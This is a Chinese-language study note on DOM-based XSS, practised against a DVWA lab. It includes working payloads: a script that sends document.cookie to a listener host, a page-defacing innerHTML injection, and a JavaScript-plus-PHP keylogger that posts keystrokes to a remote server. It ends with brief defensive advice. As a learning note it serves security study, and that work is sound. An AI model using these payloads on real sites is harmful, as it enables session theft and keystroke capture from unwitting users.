關於DOM型XSS漏洞的學習筆記
DOM,全稱Document Object Model,是一個平臺和語言都中立的介面,可以使程式和指令碼能夠動態訪問和更新文件的內容、結構以及樣式。
DOM型XSS其實是一種特殊型別的反射型XSS,它是基於DOM文件物件模型的一種漏洞。
在網站頁面中有許多頁面的元素,當頁面到達瀏覽器時瀏覽器會為頁面建立一個頂級的Document object文件物件,接著生成各個子文件物件,每個頁面元素對應一個文件物件,每個文件物件包含屬性、方法和事件。可以通過JS指令碼對文件物件進行編輯從而修改頁面的元素。也就是說,客戶端的指令碼程式可以通過DOM來動態修改頁面內容,從客戶端獲取DOM中的資料並在本地執行。基於這個特性,就可以利用JS指令碼來實現XSS漏洞的利用。
可能觸發DOM型XSS的屬性:
document.referer屬性
window.name屬性
location屬性
innerHTML屬性
documen.write屬性
······
利用DOM引發XSS:
利用DOM來引發XSS的方法有很多,這裡只演示幾種。
利用建立元素createElement():
以DVWA反射型XSS為例,先在Kali監聽1234埠:
nc -nvlp 1234
然後在DVWA中輸入:
<script>var img=document.createElement("img");img.src="http://10.10.10.151:1234/a?"+escape(document.cookie);</script>
在Kali中可看到cookie資訊:
利用innerHTML:
用於篡改頁面,在前面的反射型的利用中也演示過:
<script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>
利用document.onkeypress:
即進行鍵盤記錄。
在Kali的網頁根目錄下儲存Keylogger.js檔案:
document.onkeypress=function(evt){ evt=evt || window.event key=String.fromCharCode(evt.charCode) if(key){ var http=new XMLHttpRequest(); var param=encodeURI(key); http.open("POST","http://10.10.10.151/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param); } }
訪問一下確保可行:
接著就是將keylogger.php檔案也儲存在同一個目錄來是實現將鍵盤得到記錄儲存到本地的keylog.txt檔案中,即將接受到的key引數的取值儲存到該檔案中:
keylogger.php:
<?php
$key=$_POST['key'];
$logfile='keylog.txt';
$fp=fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
接著建立一個空的keylog.txt檔案,然後賦予相應的可寫的許可權,這裡為了方便就將許可權賦給所有的使用者:chmod 777 keylog.txt
接著在Kali中開啟的DVWA中輸入:
<script src="http://10.10.10.151/Keylogger.js"></script>
然後在該網頁中隨意輸入內容,檢視keylog.txt檔案可看到記錄了下來:
DOM型XSS的防禦方法:
DOM型XSS主要是由客戶端的指令碼通過DOM動態地輸出資料到頁面而不是依賴於將資料提交給伺服器端,而從客戶端獲得DOM中的資料在本地執行,因而僅從伺服器端是無法防禦的。其防禦在於:
(1) 避免客戶端文件重寫、重定向或其他敏感操作,同時避免使用客戶端資料,這些操作儘量在伺服器端使用動態頁面來實現;
(2) 分析和強化客戶端JS程式碼,特別是受到使用者影響的DOM物件,注意能直接修改DOM和建立HTML檔案的相關函式或方法,並在輸出變數到頁面時先進行編碼轉義,如輸出到HTML則進行HTML編碼、輸出到<script>則進行JS編碼。